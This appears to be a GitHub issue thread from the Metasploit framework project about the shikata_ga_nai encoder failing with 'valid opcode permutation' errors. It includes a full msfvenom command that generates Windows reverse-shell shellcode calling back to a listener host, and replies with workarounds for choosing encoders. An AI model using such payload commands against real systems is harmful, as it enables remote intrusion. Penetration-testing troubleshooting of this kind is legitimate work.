Metasploit-framework: x86/shikata_ga_nai failed with A valid opcode permutation could not be found.

Created on 9 Mar 2017  路  4Comments  路  Source: rapid7/metasploit-framework

Steps to reproduce

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.25.31 LPORT=443 EXITFUNC=thread -f python -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x04\xa1\xb0\xb7\xEA"

Expected behavior

generate a shellcode, or fail with a detailed message of what's the problem

Current behavior

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
**x86/shikata_ga_nai failed with A valid opcode permutation could not be found.**
Error: An encoding exception occurred.

logs

[03/09/2017 21:32:02] [e(0)] core: Msf::EncodingError : An encoding exception occurred.
/usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:240:in `encode_payload'
/usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:330:in `generate_payload'
/usr/bin/msfvenom:339:in `<main>'

System stuff

I installed Metasploit with:

  • [x] Kali package via apt
  • [ ] Omnibus installer (nightly)
  • [ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
  • [ ] Source install (please specify ruby version)

OS

What OS are you running Metasploit on?

  1. Linux minikali 4.8.0-kali2-amd64 #1 SMP Debian 4.8.15-1kali1 (2016-12-23) x86_64 GNU/Linux
  2. Linux OffSec 4.6.0-kali1-686 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) i686 GNU/Linux

Most helpful comment

For the benefit of those who are searching the web for this error, and want a work around, just leave off the encoder selector -e x86/shikata_ga_nai and msfvenom will try a few till it finds one that works with the bad characters specified.

All 4 comments

This is probably due to the fact that shikata ga nai does require certain op codes to be allowed for it to work, one of which is listed as a bad char in your list. If you specify an op code that's required you'll get this error.

Ditto what @OJ said. The error may seem a little cryptic, but that's exactly what it means.

For the benefit of those who are searching the web for this error, and want a work around, just leave off the encoder selector -e x86/shikata_ga_nai and msfvenom will try a few till it finds one that works with the bad characters specified.

OR Try a different encoder such as alphanumeric one.

Was this page helpful?
0 / 5 - 0 ratings